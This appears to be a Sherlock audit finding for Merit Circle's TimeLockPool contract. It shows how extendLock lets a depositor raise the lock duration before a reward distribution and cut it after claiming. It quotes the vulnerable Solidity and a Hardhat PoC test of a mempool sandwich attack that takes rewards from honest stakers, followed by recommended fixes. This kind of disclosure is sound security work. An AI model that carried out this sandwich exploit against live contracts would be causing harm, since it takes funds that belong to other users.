Rewards can be stolen via lock duration extension and reduction

Summary

In the TimeLockPool contract, users deposit and lock funds for a certain duration and get pro-rata amounts of shares in exchange. The longer the duration the more shares they get. The amount of shares a user holds determines the amount of rewards tokens they can claim.

The extendLock function allows depositors to extend or reduce the lock duration of their funds. This function allows malicious actors to extend a lock duration to the maximal value before reward tokens are distributed and reduce it to the minimal value right after claiming their share of rewards. This allows to steal rewards from honest users who locked their funds for longer durations.

Vulnerability Detail

The root cause of the vulnerability is that the extendLock function allows to reduce a lock duration at any time:

function extendLock(uint256 _depositId, uint256 _increaseDuration) external {
    // Check if actually increasing
    if (_increaseDuration == 0) {
        revert ZeroDurationError();
    }

    Deposit memory userDeposit = depositsOf[_msgSender()][_depositId];

    // Only can extend if it has not expired
    if (block.timestamp >= userDeposit.end) {
        revert DepositExpiredError();
    }

    // Enforce min increase to prevent flash loan or MEV transaction ordering
    uint256 increaseDuration = _increaseDuration.max(MIN_LOCK_DURATION);

    // New duration is the time expiration plus the increase
    uint256 duration = maxLockDuration.min(uint256(userDeposit.end - block.timestamp) + increaseDuration);

    uint256 mintAmount = userDeposit.amount * getMultiplier(duration) / 1e18;

    // Multiplier curve changes with time, need to check if the mint amount is bigger, equal or smaller than the already minted

    // If the new amount if bigger mint the difference
    // @audit can be called with maxDuration right before distributeRewards
    if (mintAmount > userDeposit.shareAmount) {
        depositsOf[_msgSender()][_depositId].shareAmount =  mintAmount;
        _mint(_msgSender(), mintAmount - userDeposit.shareAmount);
    // If the new amount is less then burn that difference
    // @audit can be called with minDuration right after distributeRewards and claimRewards (stealing rewards)
    } else if (mintAmount < userDeposit.shareAmount) {
        depositsOf[_msgSender()][_depositId].shareAmount =  mintAmount;
        _burn(_msgSender(), userDeposit.shareAmount - mintAmount);
    }

    depositsOf[_msgSender()][_depositId].start = uint64(block.timestamp);
    depositsOf[_msgSender()][_depositId].end = uint64(block.timestamp) + uint64(duration);
    emit LockExtended(_depositId, _increaseDuration, _msgSender());
}

Since this functionality is not timelocked or limited in any way, depositors are only forced to lock funds for up to the minimal lock duration.

Impact

Reward tokens can be stolen from honest users by malicious actors by manipulating a lock duration around the time when rewards are distributed. The cost of the attack is low since attacker's fund can be locked in the contract only for up to the minimal lock duration, which is only 10 minutes.

Code Snippet

The following PoC demonstrates a sandwich attack that steals rewards:

// test/TimeLockPool.ts
it("allows to steal rewards [audit]", async () => {
    await depositToken.mint(account3.address, INITIAL_MINT);
    await depositToken.mint(account4.address, INITIAL_MINT);
    await rewardToken.mint(account1.address, INITIAL_MINT);
    await rewardToken.approve(timeLockPool.address, INITIAL_MINT);

    const maxDuration = await timeLockPool.maxLockDuration();
    const minDuration = await timeLockPool.MIN_LOCK_DURATION();

    const alice = account4;
    const bob = account3;

    // Bob is an honest actor, he locks his funds for the maximal duration.
    await depositToken.connect(bob).approve(timeLockPool.address, INITIAL_MINT);
    await timeLockPool.connect(bob).deposit(parseEther("1"), maxDuration, bob.address);

    // Alice is a malicious actor, she locks her funds only for the minimal duration.
    await depositToken.connect(alice).approve(timeLockPool.address, INITIAL_MINT);
    await timeLockPool.connect(alice).deposit(parseEther("1"), minDuration, alice.address);

    // Alice runs a bot that monitors the Ethereum mempool for a `distributeReward` transaction.
    // As soon as the transaction appears, Alice's bot wraps it between two transactions:
    //  1. (the top bread slice) Alice extends the duration of her lock to the maximal value;
    //  2. (the filling) `distributeRewards` transaction;
    //  3. (the bottom bread slice) Alice claims her portion of the reward and reduces the duration of her lock
    //      to the minimal value.
    await timeLockPool.connect(alice).extendLock(0, maxDuration);
    await timeLockPool.distributeRewards(parseEther("1"));
    await timeLockPool.connect(alice).claimRewards(alice.address);
    await timeLockPool.connect(alice).extendLock(0, minDuration);
    // Alice can then withdraw tokens after minDuration, which is only 10 minutes

    await timeLockPool.connect(bob).claimRewards(bob.address);

    const bobRewardTokenBalance = await rewardToken.balanceOf(bob.address);
    const aliceRewardTokenBalance = await rewardToken.balanceOf(alice.address);

    // Alice gets as much as Bob even though her tokens were locked for a shorter period of time.
    expect(bobRewardTokenBalance).to.eq("16284687524502424");
    expect(aliceRewardTokenBalance).to.eq("16284687524502424");
});

Tool used

Manual Review

Recommendation

Multiple options can be considered:

disallowing reduction of lock duration;
timelocking lock duration reduction;
allowing to reduce lock duration only by a small value (e.g. proportional to how long funds have already been locked).

sherlock-audit / 2022-10-merit-circle-judging

Jeiwan - Rewards can be stolen via lock duration extension and reduction #55